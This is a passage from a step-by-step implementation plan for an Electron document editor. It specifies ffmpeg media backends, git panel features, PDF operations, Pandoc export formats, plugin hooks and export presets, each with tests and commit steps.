 - `buildExtractArgs({ inputPath, outputPath })` → extracts the audio track from a video/audio file: `['-i', inputPath, '-vn', '-acodec', 'copy', '-y', outputPath]` (fallback if codec copy fails: caller retries without `-acodec copy`, letting ffmpeg transcode — implement this retry inside `executeOperation`'s `'extract'` case, not in the pure builder).
 - `buildMergeArgs({ inputPaths, outputPath })` → `inputPaths` is `string[]` (2+ files) → build a temp concat-list file is the safe approach; but since this module must stay pure/testable, `buildMergeArgs` returns `{ args, concatListContent }` where `concatListContent` is the `file '<path>'` lines the caller writes to a temp file, and `args = ['-f', 'concat', '-safe', '0', '-i', tempListPath, '-c', 'copy', '-y', outputPath]` (caller supplies `tempListPath` after writing the file — see `executeOperation`'s `'merge'` case).
 - `executeOperation(operation, data, { ffmpegPath, execFileFn } = {})` where `operation` is `'convert'|'trim'|'extract'|'merge'`, defaults `ffmpegPath` to the real `getFFmpegPath()`-resolved path (passed in from `main.js`, not re-implemented here) and `execFileFn` to `require('child_process').execFile`. Returns a Promise resolving `{ success: true, outputPath }`.
 - [ ] **Step 1:** Write `tests/main/AudioOperations.test.js` testing the pure builders directly (no real ffmpeg spawn needed for these) plus one `executeOperation` test with a stubbed `execFileFn`:
 ```javascript
 const AudioOperations = require('../../src/main/AudioOperations');
 describe('AudioOperations argument builders', () => {
  test('buildConvertArgs builds correct ffmpeg args', () => {
    const args = AudioOperations.buildConvertArgs({ inputPath: '/a.wav', outputPath: '/b.mp3' });
    expect(args).toEqual(['-i', '/a.wav', '-y', '/b.mp3']);
  });
  test('buildTrimArgs builds correct trim args', () => {
    const args = AudioOperations.buildTrimArgs({ inputPath: '/a.mp3', outputPath: '/b.mp3', startTime: 5, duration: 10 });
    expect(args).toEqual(['-i', '/a.mp3', '-ss', '5', '-t', '10', '-y', '/b.mp3']);
  });
  test('buildTrimArgs rejects non-finite startTime', () => {
    expect(() =>
      AudioOperations.buildTrimArgs({ inputPath: '/a.mp3', outputPath: '/b.mp3', startTime: NaN, duration: 10 })
    ).toThrow('Invalid trim range');
  });
  test('buildMergeArgs builds concat-demuxer args and list content', () => {
    const { args, concatListContent } = AudioOperations.buildMergeArgs({
      inputPaths: ['/a.mp3', '/b.mp3'],
      outputPath: '/out.mp3',
    });
    expect(concatListContent).toContain("file '/a.mp3'");
    expect(concatListContent).toContain("file '/b.mp3'");
    expect(args).toContain('-f');
    expect(args).toContain('concat');
  });
 });
 describe('AudioOperations.executeOperation', () => {
  test('convert calls execFileFn with ffmpeg path and args, resolves success', async () => {
    const execFileFn = (cmd, args, opts, cb) => cb(null, '', '');
    const result = await AudioOperations.executeOperation(
      'convert',
      { inputPath: '/a.wav', outputPath: '/b.mp3' },
      { ffmpegPath: '/usr/bin/ffmpeg', execFileFn }
    );
    expect(result.success).toBe(true);
    expect(result.outputPath).toBe('/b.mp3');
  });
  test('unknown operation rejects', async () => {
    await expect(
      AudioOperations.executeOperation('bogus', {}, { ffmpegPath: '/usr/bin/ffmpeg', execFileFn: () => {} })
    ).rejects.toThrow();
  });
 });
 ```
 - [ ] **Step 2:** Run `npx jest tests/main/AudioOperations.test.js` — expect FAIL.
 - [ ] **Step 3:** Implement `src/main/AudioOperations.js` per the interfaces above. Use `fs.writeFileSync`/`fs.mkdtempSync` (Node `os.tmpdir()`) inside `executeOperation`'s `'merge'` case to materialize the concat list file before invoking `execFileFn`.
 - [ ] **Step 4:** Run `npx jest tests/main/AudioOperations.test.js` — expect PASS.
 - [ ] **Step 5:** In `src/main.js`, add the dispatcher handler (mirrors Task 9 Step 5):
 ```javascript
 const AudioOperations = require('./main/AudioOperations');
 // ...
 ipcMain.handle('process-audio-operation', async (event, { operation, data }) => {
  try {
    return await AudioOperations.executeOperation(operation, data, { ffmpegPath: getFFmpegPath() });
  } catch (error) {
    return { success: false, error: sanitizeErrorMessage(error.message) };
  }
 });
 ```
 Replace the 5 stale audio channel names in `ALLOWED_SEND_CHANNELS` (`preload.js`) with `'process-audio-operation'` (batch handled in Task 12).
 - [ ] **Step 6:** `npm run lint && npm test`
 - [ ] **Step 7:** Commit: `git add src/main/AudioOperations.js tests/main/AudioOperations.test.js src/main.js src/preload.js && git commit -m "feat(audio): implement ffmpeg-based audio operations backend"`
 ### Task 11: Video operations backend (`ffmpeg`-based)
 **Files:**
 - Create: `src/main/VideoOperations.js`
 - Create: `tests/main/VideoOperations.test.js`
 - Modify: `src/main.js`
 **Interfaces:** Same shape as Task 10 (`executeOperation(operation, data, { ffmpegPath, execFileFn })`, pure arg builders for testability).
 - `buildConvertArgs({ inputPath, outputPath })` → `['-i', inputPath, '-y', outputPath]`.
 - `buildCompressArgs({ inputPath, outputPath, crf })` (`crf` 0-51, default 28 — lower is higher quality/larger file, matching libx264 convention) → `['-i', inputPath, '-vcodec', 'libx264', '-crf', String(crf), '-y', outputPath]`. Validate `crf` is an integer 0-51 (throw otherwise).
 - `buildTrimArgs({ inputPath, outputPath, startTime, duration })` → identical shape/validation to `AudioOperations.buildTrimArgs`.
 - `buildFramesArgs({ inputPath, outputDir, fps })` (`fps` frames-per-second to extract, default 1) → `['-i', inputPath, '-vf', `fps=${fps}`, path.join(outputDir, 'frame-%04d.png')]`. Validate `fps` is a positive finite number.
 - `buildGifArgs({ inputPath, outputPath, fps, width })` (`fps` default 10, `width` default 480, height auto via `-1`) → `['-i', inputPath, '-vf', `fps=${fps},scale=${width}:-1:flags=lanczos`, '-y', outputPath]`.
 - `operation` is `'convert'|'compress'|'trim'|'frames'|'gif'`.
 - [ ] **Step 1:** Write `tests/main/VideoOperations.test.js` mirroring Task 10's test structure — one test per builder function checking exact `args` array output plus validation-rejection tests for `compress` (bad `crf`) and `frames` (bad `fps`), plus one `executeOperation` test with a stubbed `execFileFn` for `'convert'` and one for `'frames'` that also verifies the output directory is created (`fs.mkdirSync(outputDir, { recursive: true })` inside `executeOperation`'s `'frames'` case before spawning ffmpeg).
 - [ ] **Step 2:** Run `npx jest tests/main/VideoOperations.test.js` — expect FAIL.
 - [ ] **Step 3:** Implement `src/main/VideoOperations.js` per the interfaces above.
 - [ ] **Step 4:** Run `npx jest tests/main/VideoOperations.test.js` — expect PASS.
 - [ ] **Step 5:** In `src/main.js`, add the dispatcher handler (mirrors B1/B2):
 ```javascript
 const VideoOperations = require('./main/VideoOperations');
 // ...
 ipcMain.handle('process-video-operation', async (event, { operation, data }) => {
  try {
    return await VideoOperations.executeOperation(operation, data, { ffmpegPath: getFFmpegPath() });
  } catch (error) {
    return { success: false, error: sanitizeErrorMessage(error.message) };
  }
 });
 ```
 Replace the 6 stale video channel names in `ALLOWED_SEND_CHANNELS` with `'process-video-operation'`.
 - [ ] **Step 6:** `npm run lint && npm test`
 - [ ] **Step 7:** Commit: `git add src/main/VideoOperations.js tests/main/VideoOperations.test.js src/main.js src/preload.js && git commit -m "feat(video): implement ffmpeg-based video operations backend"`
 ### Task 12: Media Operations UI (menu entries + dialog + batch)
 **Files:**
 - Create: `src/renderer/media-operations-dialog.js` (follow whatever module pattern `src/renderer.js` already uses for the PDF editor dialog — read `renderer.js:3685` onward to find that dialog's implementation file/pattern before creating this one)
 - Modify: `src/main.js` (menu — add "Image/Audio/Video Tools..." entries under the existing `Tools` submenu, next to Table Generator/ASCII Art Generator at `main.js:1395-1414`; also extend `universal-convert-batch`'s existing batch-folder flow OR add three new `process-*-operation` batch loops mirroring the pattern at `main.js:2454-2563`, whichever requires less duplication once B1-B3 exist — prefer reusing `executeOperation` in a loop over `fs.readdirSync` results, matching the existing batch style)
 - Modify: `src/preload.js` (add `'show-image-converter'`... already present; add `'process-image-operation'`/`'process-audio-operation'`/`'process-video-operation'` to `ALLOWED_SEND_CHANNELS` if not already added by B1-B3)
 **Verified current behavior:** `show-image-converter`/`show-audio-converter`/`show-video-converter` are whitelisted receive channels with no sender and no listener — Batch Image/Audio/Video Conversion menu items already exist and work via the generic Universal Converter (`main.js:1283-1291`, `2454-2563`) for plain format conversion; this task adds the **operation-specific** single-file dialogs (resize/compress/rotate/trim/merge/extract/frames/gif) that B1-B3 implemented.
 - [ ] **Step 1:** Add three menu items under `Tools` (`main.js`, after the "Document Compare" item added conceptually in Task 6/C8):
 ```javascript
 { label: 'Image Tools...', click: () => mainWindow.webContents.send('show-image-converter') },
 { label: 'Audio Tools...', click: () => mainWindow.webContents.send('show-audio-converter') },
 { label: 'Video Tools...', click: () => mainWindow.webContents.send('show-video-converter') },
 ```
 - [ ] **Step 2:** Build the renderer-side dialog module. Read how the existing PDF Editor dialog (triggered by `show-pdf-editor-dialog`) is structured/rendered in `renderer.js` (search for its listener at line 3685 and follow into whatever function/file builds its DOM) and replicate that construction pattern for a single dialog that: (a) lets the user pick an operation from a dropdown scoped to the current media kind (image/audio/video), (b) shows the relevant operation-specific fields (e.g. width/height for resize, quality for compress, angle for rotate, startTime/duration for trim, fps/width for gif), (c) has an input-file picker (reuse the existing `dialog.showOpenDialogSync` pattern via a new small `ipcMain.handle('select-media-file', ...)` if no generic file-picker IPC already exists — check first; `select-pdf-folder` is folder-only, so a new single-file-picker handler is likely needed), (d) calls `ipcRenderer.invoke('process-image-operation', { operation, data })` (or audio/video) and shows success/error the same way `pdf-operation-complete`/`pdf-operation-error` are surfaced elsewhere.
 - [ ] **Step 3:** Wire the three `ipcRenderer.on('show-image-converter'|'show-audio-converter'|'show-video-converter', ...)` listeners in `renderer.js` to open the new dialog scoped to the right media kind.
 - [ ] **Step 4:** Manually verify with `npm start`: Tools → Image Tools → Resize a test PNG, confirm the output file is created at the chosen size; repeat once each for one audio op (trim) and one video op (compress) using any small local test media file.
 - [ ] **Step 5:** `npm run lint && npm test`
 - [ ] **Step 6:** Commit: `git add -A && git commit -m "feat(media): add Image/Audio/Video Tools dialogs wired to new operation backends"`
 ---
 ## Phase C — New Features (extending existing systems)
 ### Task 13: Expose more Pandoc export/import formats already supported by the bundled Pandoc
 **Files:**
 - Modify: `src/main.js` (export submenu ~`main.js:864-959`; `exportFile()` at `main.js:1766`; the format switch inside `performExportWithOptions`/`buildPandocExportArgs` — see Task 23, which replaces string-building with an args-array builder; add cases there, not to the old string-concat code)
 **New formats to add** (all already importable per the existing import switch at `main.js:3507` — Pandoc supports both directions for each):
 - Export: AsciiDoc (`asciidoc`), reStructuredText (`rst`), MediaWiki (`mediawiki`), Org-mode (`org`), Textile (`textile`), man page (`man`), Jupyter Notebook (`ipynb`).
 - [ ] **Step 1:** Add 7 new menu entries to the Export submenu (`main.js:864-959`), grouped in a new labeled section, each calling `exportFile('<format>')` with the format id above.
 - [ ] **Step 2:** Add each format to the extension-mapping table used by the export path (the `formatExtMap` object at `main.js:2624-2629` — add `asciidoc: 'adoc', mediawiki: 'wiki'`; the rest already match their format id as extension).
 - [ ] **Step 3:** RULING (pre-flight scan, execution order is Phase A→B→C→D, so Task 23 has NOT run yet when this task executes): add each format as an additional `-t <format>` case to the **current** string-concatenation `pandocCmd` logic in `performExportWithOptions` (the same pattern already used for `'json'`, `'beamer'`, `'jira'` etc. around `main.js:2825-2965` — a simple `pandocCmd = \`${getPandocPath()} "${currentFile}" -t <format> -o "${outputFile}"\`; exportWithPandoc(pandocCmd, outputFile, format);` branch per new format is sufficient; do not introduce any new string-interpolated user-controlled fields — these 7 formats take no extra options beyond the standard ones already handled generically above the format switch). When Task 23 runs later (Phase D) it will read the current state of this function, per its own Step 3 instruction to "read every one of the sites... in full," and MUST carry these 7 new cases into its args-array rewrite — that responsibility already belongs to SEC-1's own scope and needs no separate action here.
 - [ ] **Step 4:** Manually verify: export the currently-open sample markdown file to each of the 7 new formats, confirm each produces a non-empty output file Pandoc itself can round-trip (`pandoc out.rst -o roundtrip.md` succeeds).
 - [ ] **Step 5:** `npm run lint && npm test`
 - [ ] **Step 6:** Commit: `git add src/main.js && git commit -m "feat(export): expose AsciiDoc, RST, MediaWiki, Org, Textile, man, ipynb export formats"`
 ### Task 14: Git branch / diff / push / pull
 **Files:**
 - Modify: `src/main/GitOperations.js`
 - Modify: `tests/` (find and extend the existing GitOperations test file — grep `tests/**/GitOperations*`; if none exists, create `tests/main/GitOperations.test.js`)
 - Modify: `src/main.js` (register 4 new `ipcMain.handle` calls near the existing git handlers, `main.js:4889-4904`)
 - Modify: `src/preload.js` (add `'git-branch'`, `'git-diff'` is already listed but unhandled — see below, `'git-push'`, `'git-pull'` to `ALLOWED_SEND_CHANNELS`)
 - Modify: `src/sidebar/git-panel.js`, `src/renderer.js:1714-1731`
 **Interfaces (add to `GitOperations.js`, matching the existing `try { ... } catch (err) { return { error: err.message } }` pattern used by every existing function there):**
 ```javascript
 async function diff(dir, file) { /* git.diff([file]) if file given, else git.diff() for full working-tree diff */ }
 async function branches(dir) { /* git.branchLocal() — returns { all, current, branches } */ }
 async function checkoutBranch(dir, name, isNew) { /* isNew=true: git.checkoutLocalBranch(name); else git.checkout(name) */ }
 async function push(dir) { /* git.push() */ }
 async function pull(dir) { /* git.pull() */ }
 module.exports = { getStatus, stage, commit, log, diff, branches, checkoutBranch, push, pull };
 ```
 - [ ] **Step 1:** Write/extend the Jest test file covering `diff`, `branches`, `checkoutBranch`, `push`, `pull` against a real temp git repo (follow whatever fixture pattern the existing Git-related tests use — if this is the first GitOperations test file, initialize a repo with `simple-git` itself inside `beforeEach` using `fs.mkdtempSync` + `simpleGit(tmpDir).init()`, matching how `simple-git` is already used in the module under test).
 - [ ] **Step 2:** Run the new tests — expect FAIL (functions don't exist).
 - [ ] **Step 3:** Implement the 5 new functions in `GitOperations.js` per the interfaces above.
 - [ ] **Step 4:** Run the tests — expect PASS.
 - [ ] **Step 5:** In `main.js`, register handlers next to the existing 4:
 ```javascript
 ipcMain.handle('git-diff', async (event, { file }) => {
  const dir = path.dirname(currentFile || app.getPath('documents'));
  return GitOperations.diff(dir, file);
 });
 ipcMain.handle('git-branches', async () => GitOperations.branches(path.dirname(currentFile || app.getPath('documents'))));
 ipcMain.handle('git-checkout', async (event, { name, isNew }) => GitOperations.checkoutBranch(path.dirname(currentFile || app.getPath('documents')), name, isNew));
 ipcMain.handle('git-push', async () => GitOperations.push(path.dirname(currentFile || app.getPath('documents'))));
 ipcMain.handle('git-pull', async () => GitOperations.pull(path.dirname(currentFile || app.getPath('documents'))));
 ```
 (Match whatever `dir` resolution the existing `git-status` handler at `main.js:4889-4891` actually uses — read those 3 lines first and reuse the identical expression rather than inventing a new one.)
 - [ ] **Step 6:** Add `'git-branches'`, `'git-checkout'`, `'git-push'`, `'git-pull'` to `ALLOWED_SEND_CHANNELS` in `preload.js` (`'git-diff'` is already present).
 - [ ] **Step 7:** In `src/sidebar/git-panel.js`, rename the unused `_gitDiff` parameter to `gitDiff` and add UI to actually call it (a "diff" button/icon per changed file in the status list, rendering the returned diff text in a `<pre>` block or similar — follow the panel's existing rendering style for the status list). Add branch/push/pull UI following the same panel's existing button/section style.
 - [ ] **Step 8:** In `renderer.js:1714-1731`, pass the 4 new callbacks (`gitBranches`, `gitCheckout`, `gitPush`, `gitPull`) into `getRenderGitPanel()` alongside the existing ones.
 - [ ] **Step 9:** Manually verify in a real git-tracked test folder: view a file diff, list branches, create+checkout a new branch, (push/pull only if a real remote is available — otherwise verify the IPC round-trip returns a sane `{error: ...}` for a repo with no remote, not a crash).
 - [ ] **Step 10:** `npm run lint && npm test`
 - [ ] **Step 11:** Commit: `git add -A && git commit -m "feat(git): add diff, branch, checkout, push, pull to Git sidebar panel"`
 ### Task 15: More PDF operations — extract text, page numbers, crop, extract images
 **Files:**
 - Modify: `src/main/PDFOperations.js`, its test file (grep `tests/**/PDFOperations*`)
 - Modify: `src/main.js` (`process-pdf-operation` already dispatches via `executeOperation` — no new handler needed, just new `case`s in `PDFOperations.js`'s existing switch at line 404)
 - Modify: renderer PDF editor dialog UI (wherever the existing operation list/buttons are — find via the `show-pdf-editor-dialog` listener at `renderer.js:3685`)
 **Interfaces (add to the existing `executeOperation` switch, `PDFOperations.js:404-430`):**
 ```javascript
 async function pdfExtractText(data) { /* data: {inputPath}. Use pdf-lib's page.getTextContent() is NOT available in pdf-lib — pdf-lib has no text extraction. Use pdfjs-dist (already a dependency) instead: load with pdfjs-dist, iterate pages, getTextContent(), join strings. Return { success: true, text } */ }
 async function pdfAddPageNumbers(data) { /* data: {inputPath, outputPath, position, startNumber}. For each page, drawText via pdf-lib at the given corner (reuse the position-mapping switch already present in pdfWatermark, PDFOperations.js:258-287, for corner math). */ }
 async function pdfCrop(data) { /* data: {inputPath, outputPath, margins: {top,bottom,left,right}} in points. Use page.setCropBox(x, y, width, height) computed from the page's existing MediaBox minus margins. */ }
 async function pdfExtractImages(data) { /* data: {inputPath, outputDir}. pdf-lib doesn't expose embedded image extraction either — use pdfjs-dist's page.getOperatorList() + page.objs to pull OPS.paintImageXObject image data, write each as PNG via sharp (already a dependency after Task 8). Return { success: true, count, files: string[] } */ }
 ```
 Add 4 new `case` branches to `executeOperation` (`'extractText'`, `'pageNumbers'`, `'crop'`, `'extractImages'`) and add all 4 to `module.exports`.
 - [ ] **Step 1:** Read `PDFOperations.js:233-317` (`pdfWatermark`) in full to reuse its exact position-to-coordinate mapping logic for `pdfAddPageNumbers` rather than re-deriving it.
 - [ ] **Step 2:** Write tests for all 4 new functions in the existing PDFOperations test file, generating a minimal test PDF at test time via `pdf-lib`'s `PDFDocument.create()` (mirror however the existing test file already builds its fixture PDFs — check its `beforeEach`).
 - [ ] **Step 3:** Run new tests — expect FAIL.
 - [ ] **Step 4:** Implement the 4 functions.
 - [ ] **Step 5:** Run new tests — expect PASS.
 - [ ] **Step 6:** Add 4 corresponding buttons/menu entries to the PDF editor dialog UI, following its existing per-operation button pattern exactly (find where 'Watermark' or 'Rotate' is wired in the renderer PDF dialog and copy that structure).
 - [ ] **Step 7:** Manually verify each of the 4 operations against a real PDF via the app UI.
 - [ ] **Step 8:** `npm run lint && npm test`
 - [ ] **Step 9:** Commit: `git add -A && git commit -m "feat(pdf): add extract text, page numbers, crop, extract images operations"`
 ### Task 16: PDF form field fill/flatten
 **Files:**
 - Modify: `src/main/PDFOperations.js` (+ test file), PDF editor dialog UI
 **Interfaces:**
 ```javascript
 async function pdfGetFormFields(data) { /* data: {inputPath}. PDFDocument.load(bytes) -> pdfDoc.getForm().getFields() -> map each to {name, type, value}. Return { success: true, fields } */ }
 async function pdfFillForm(data) { /* data: {inputPath, outputPath, values: Record<string,string>, flatten}. Load, getForm(), for each key in values call form.getTextField(key).setText(value) (wrap per-field in try/catch to skip fields that don't exist or aren't text fields — this app's convention per pdfWatermark is to fail loudly on real errors but this is a batch-of-independent-fields case, so log+skip per-field failures and continue). If flatten, call form.flatten() before saving. */ }
 ```
 Add `'formFields'` (get) and `'fillForm'` cases to `executeOperation`, add both to exports.
 - [ ] **Step 1:** Write tests building a test PDF with an AcroForm text field via `pdf-lib`'s `form.createTextField()` API (check pdf-lib's docs/existing usage in the codebase for the exact field-creation calls — `PDFOperations.js` already imports `pdf-lib`, follow its existing import style).
 - [ ] **Step 2:** Run tests — expect FAIL.
 - [ ] **Step 3:** Implement both functions.
 - [ ] **Step 4:** Run tests — expect PASS.
 - [ ] **Step 5:** Add a "Fill Form" UI entry to the PDF editor dialog: on open, call `formFields` to list detected fields, render a text input per field, a "Flatten after fill" checkbox, then call `fillForm` on submit.
 - [ ] **Step 6:** Manually verify against a real fillable PDF (search for one under `tests/fixtures/` or create one with `pdf-lib` in a scratch script — do not commit the scratch script).
 - [ ] **Step 7:** `npm run lint && npm test`
 - [ ] **Step 8:** Commit: `git add -A && git commit -m "feat(pdf): add form field detection, fill, and flatten"`
 ### Task 17: Plugin API — export-format and file-reader registration hooks
 **Files:**
 - Modify: `src/plugins/plugin-context.js`, `src/plugins/plugin-loader.js` (or wherever plugin manifests are validated/loaded — grep `plugin-loader.js`), `src/main.js` (export format switch — needs to consult plugin-registered formats)
 **Interfaces (extend `PluginContext`, `plugin-context.js:64-71`, alongside the existing `this.exports` block):**
 ```javascript
 this.formats = {
  registerExportFormat: (id, opts) => {
    // opts: { label, extension, handler: async (markdownContent, outputPath, options) => void }
    if (formatRegistry) formatRegistry.register(`${pluginId}:${id}`, opts);
  },
 };
 ```
 This requires a new small `FormatRegistry` (mirror the existing `plugin-registry.js` pattern — read it first to match its exact API shape, e.g. `register(id, opts)` / `getAll()` / `get(id)`) injected into `PluginContext`'s constructor `deps` alongside `sidebar`/`commands`/`statusBar`.
 - [ ] **Step 1:** Read `src/plugins/plugin-registry.js` in full to learn its exact class/function shape before adding a sibling `FormatRegistry` (or extending the existing registry with a new namespace if it's already generic enough — prefer extending over duplicating if the existing registry is namespace-agnostic).
 - [ ] **Step 2:** Add `registerExportFormat` to `PluginContext` per the interface above, wired to whatever registry mechanism Step 1 determined is the right fit.
 - [ ] **Step 3:** In `src/main.js`'s export dispatch path (wherever the Export submenu's dynamic entries would need to merge in plugin formats — likely requires the Export submenu to be rebuilt after plugin load, similar to how `createMenu()` is already called after recent-files change in Task 2; check if `createMenu()` is idempotent/safe to call after plugin loading completes), add plugin-registered formats as additional Export submenu entries whose `click` handler calls the plugin's registered `handler` function instead of Pandoc.
 - [ ] **Step 4:** Update the built-in `writing-studio` plugin's manifest/index (`src/plugins/built-in/`) with a trivial example usage of `registerExportFormat` (e.g. exporting sprint data as a `.txt` summary) — this both documents the new API and gives Step 5's manual test something concrete to click.
 - [ ] **Step 5:** Write a unit test in `tests/plugins/` (find the existing plugin test directory/pattern) verifying a plugin calling `context.formats.registerExportFormat(...)` results in the registry containing the namespaced entry.
 - [ ] **Step 6:** Manually verify: `npm start`, confirm the writing-studio example format appears in the Export menu and produces the expected output file when clicked.
 - [ ] **Step 7:** `npm run lint && npm test`
 - [ ] **Step 8:** Commit: `git add -A && git commit -m "feat(plugins): add export-format registration hook to plugin API"`
 ### Task 18: DOCX/EPUB template gallery UI
 **Files:**
 - Modify: `src/renderer.js` (export dialog for DOCX/EPUB — find via `exportWordWithTemplate()` at `main.js:881` and follow into whatever renderer dialog it opens)
 - Modify: `src/main.js` (wherever the existing Word-template list is sourced from — grep `WordTemplateExporter` and `listTemplates`/`getTemplates`-style function)
 **Verified context:** `main.js` already has `exportWordWithTemplate()` and `WordTemplateExporter` (`src/wordTemplateExporter.js`) — a template mechanism for DOCX exists but per the feature-inventory research pass has "no discoverable UI" for browsing available templates; the user has to already know a template exists. Read `src/wordTemplateExporter.js` in full first to learn how templates are currently listed/selected (is there a folder of `.dotx`/`.docx` template files? A hardcoded list?) before designing the gallery.
 - [ ] **Step 1:** Read `src/wordTemplateExporter.js` and the renderer dialog `exportWordWithTemplate()` opens, to learn the exact current template-selection mechanism (function names, data shape).
 - [ ] **Step 2:** Add a visual gallery (grid of template name + thumbnail-if-available, or name + short description if no thumbnails exist) to that same dialog, replacing or augmenting whatever minimal selector currently exists, following the dialog's existing CSS/markup conventions (check `src/styles.css` for the dialog's existing classes before inventing new ones).
 - [ ] **Step 3:** Do the same for EPUB export if `main.js` has an equivalent EPUB-template mechanism (grep for `epub` + `template`); if none exists, skip EPUB (do not invent a template system that doesn't exist — note this explicitly as out of scope in the commit message rather than silently dropping it).
 - [ ] **Step 4:** Manually verify: open the DOCX export dialog, see the template gallery, pick one, confirm the exported DOCX uses it.
 - [ ] **Step 5:** `npm run lint && npm test`
 - [ ] **Step 6:** Commit: `git add -A && git commit -m "feat(export): add visual template gallery to DOCX export dialog"`
 ### Task 19: CSV-to-markdown-table toolbar converter
 **Files:**
 - Modify: `src/renderer.js` (editor toolbar — find the existing toolbar button registration pattern, e.g. near table generator/ASCII generator toolbar buttons)
 **Verified context:** Pandoc already imports CSV (`main.js:3507` import switch includes `csv`). This task adds a quick in-editor action: paste/select CSV-like text, convert to a markdown table without leaving the editor (distinct from the full file-import path).
 - [ ] **Step 1:** Add a toolbar button "CSV → Table" (or a Command Palette entry, matching whichever pattern is more consistent with similar single-action editor tools already in the toolbar — check what's already there before choosing).
 - [ ] **Step 2:** Implement a pure client-side CSV→Markdown-table converter function in `renderer.js` (no need to round-trip through Pandoc for this simple case — parse the current selection's lines by comma, respecting basic double-quote-wrapped fields containing commas; build a `| a | b |` / `|---|---|` markdown table). Keep this function small and testable — extract it to `src/lib/csv-to-markdown-table.js` if `src/renderer.js` doesn't already have a `src/lib/`-style extraction pattern for similar pure functions (check first).
 - [ ] **Step 3:** Write a Jest unit test for the converter function covering: simple CSV, quoted fields containing commas, ragged rows (fewer columns in some rows — pad with empty cells), empty input.
 - [ ] **Step 4:** Wire the toolbar button to: read the editor selection, run the converter, replace the selection with the resulting markdown table.
 - [ ] **Step 5:** Manually verify: select a few lines of comma-separated text in the editor, click the button, confirm it becomes a proper markdown table.
 - [ ] **Step 6:** `npm run lint && npm test`
 - [ ] **Step 7:** Commit: `git add -A && git commit -m "feat(editor): add CSV-to-markdown-table toolbar converter"`
 ### Task 20: Document Compare / diff view (completes Task 6)
 **Files:**
 - Modify: `src/renderer.js` (new listener for `show-document-compare`, whitelisted in Task 6)
 - Create: `src/renderer/document-compare-dialog.js` (or inline in `renderer.js` if that's the dominant pattern for similar dialogs — match Task 12's finding on dialog-module conventions)
 **Verified context:** `main.js:1411-1413` sends `show-document-compare`; Task 6 whitelisted the channel; nothing renders it yet. This task adds an actual two-pane diff: either two arbitrary local files, or (leveraging Task 14's new `GitOperations.diff`) the current file against its last-committed git revision.
 - [ ] **Step 1:** Build a simple two-file diff dialog: two "choose file" buttons (or one defaulting to the currently-open tab + one file picker for the comparison target), a line-by-line diff render. Do not add a new diff-algorithm dependency — write a minimal LCS-based line diff in a small pure function (`src/lib/line-diff.js`) since the app has no existing diff library; keep it under ~60 lines (standard textbook LCS-diff, not a full Myers-diff library port).
 - [ ] **Step 2:** Write a Jest unit test for the line-diff function: identical files (no diffs), pure additions, pure deletions, mixed changes.
 - [ ] **Step 3:** Add a "Compare with Git HEAD" option in the same dialog when the current file is inside a git repo, using `GitOperations.diff` from Task 14 (raw git diff text render, separate code path from the line-diff function — git's own diff output is already a diff, don't re-diff it).
 - [ ] **Step 4:** Wire `ipcRenderer.on('show-document-compare', () => { /* open the dialog */ })` in `renderer.js`.
 - [ ] **Step 5:** Manually verify: Tools → Document Compare, compare two local markdown files, confirm additions/deletions are visually distinguished (e.g. green/red line backgrounds, matching the app's existing theme CSS variables rather than hardcoded colors).
 - [ ] **Step 6:** `npm run lint && npm test`
 - [ ] **Step 7:** Commit: `git add -A && git commit -m "feat(compare): implement Document Compare dialog with local-diff and git-HEAD-diff modes"`
 ### Task 21: Export presets/profiles
 **Files:**
 - Modify: `src/main.js` (near `get-header-footer-settings`/`save-header-footer-settings` handlers, `main.js:1857-1886`)
 - Modify: renderer export-options dialog (wherever `export-with-options` is invoked from — grep `export-with-options` in `renderer.js`)
 **Interfaces:**
 ```javascript
 // main.js — new handlers, settings persisted the same way header/footer settings already are
 // (read main.js:1857-1886 first to copy its exact settings-file read/write pattern, e.g. settings.json path + key)
 ipcMain.handle('get-export-presets', async () => { /* returns array of {id, name, format, options} */ });
 ipcMain.handle('save-export-preset', async (event, preset) => { /* upsert by id, persist, return updated list */ });
 ipcMain.handle('delete-export-preset', async (event, presetId) => { /* remove by id, persist, return updated list */ });
 ```
 - [ ] **Step 1:** Read `main.js:1857-1886` in full to learn the exact settings-persistence pattern already used (this app uses a custom JSON file store per `CLAUDE.md`, not `electron-store` — confirm the exact file/key convention and reuse it verbatim for presets, e.g. a new top-level `exportPresets` array in the same `settings.json`).
 - [ ] **Step 2:** Implement the 3 handlers per the interfaces above, add all 3 channel names to `ALLOWED_SEND_CHANNELS` in `preload.js`.
 - [ ] **Step 3:** In the renderer's export-options dialog, add a "Save as preset" button (captures the current dialog's option values, prompts for a name, calls `save-export-preset`) and a preset dropdown at the top of the dialog (populated via `get-export-presets` on open; selecting one pre-fills the dialog's fields) plus a delete icon per preset row.
 - [ ] **Step 4:** Manually verify: configure export options, save as a preset, close and reopen the dialog, confirm the preset is selectable and correctly restores all fields; delete it, confirm it's gone.
 - [ ] **Step 5:** `npm run lint && npm test`
 - [ ] **Step 6:** Commit: `git add -A && git commit -m "feat(export): add save/select/delete export presets"`
 ### Task 22: Batch PDF operations UI (beyond format conversion)
 **Files:**
 - Modify: `src/renderer.js` (Batch menu handling — find the `show-batch-converter` listener with `'pdf'` type)
 - Modify: `src/main.js` (extend the batch loop to support PDFOperations, not just format conversion)
 **Verified context:** `main.js:1293-1296` already has a "Batch PDF Conversion..." menu item sending `show-batch-converter` with type `'pdf'`, but (per the existing batch conversion handlers at `main.js:2454-2563`) batch only does format conversion via `convertWithLibreOffice`/pandoc — it never calls into `PDFOperations.executeOperation` for bulk watermark/compress/rotate across many files.
 - [ ] **Step 1:** In the renderer's batch dialog (wherever the `'pdf'`-typed batch dialog renders), add an operation-type selector when the batch type is `'pdf'`: "Convert format" (existing behavior, keep as default) vs. "Bulk PDF Operation" (new: pick one of merge/split/compress/rotate/watermark/etc. plus that operation's fields, same fields as the single-file PDF editor dialog).
 - [ ] **Step 2:** Add a new `ipcMain.on('batch-pdf-operation', async (event, { operation, data, inputFolder, includeSubfolders }) => {...})` handler in `main.js` that collects matching `.pdf` files (reuse the exact `collectFiles` recursive helper already defined inside `universal-convert-batch`, `main.js:2472-2484` — extract it to a shared top-level function if it isn't already, since Task 22 needs the identical logic) and calls `PDFOperations.executeOperation(operation, {...data, inputPath: filePath, outputPath: ...})` per file in a loop, reporting progress via `mainWindow.webContents.send('batch-progress', ...)` matching the existing batch progress-reporting convention.
 - [ ] **Step 3:** Add `'batch-pdf-operation'` to `ALLOWED_SEND_CHANNELS`.
 - [ ] **Step 4:** Manually verify: batch-watermark a folder of 2-3 test PDFs, confirm each output file has the watermark applied.
 - [ ] **Step 5:** `npm run lint && npm test`
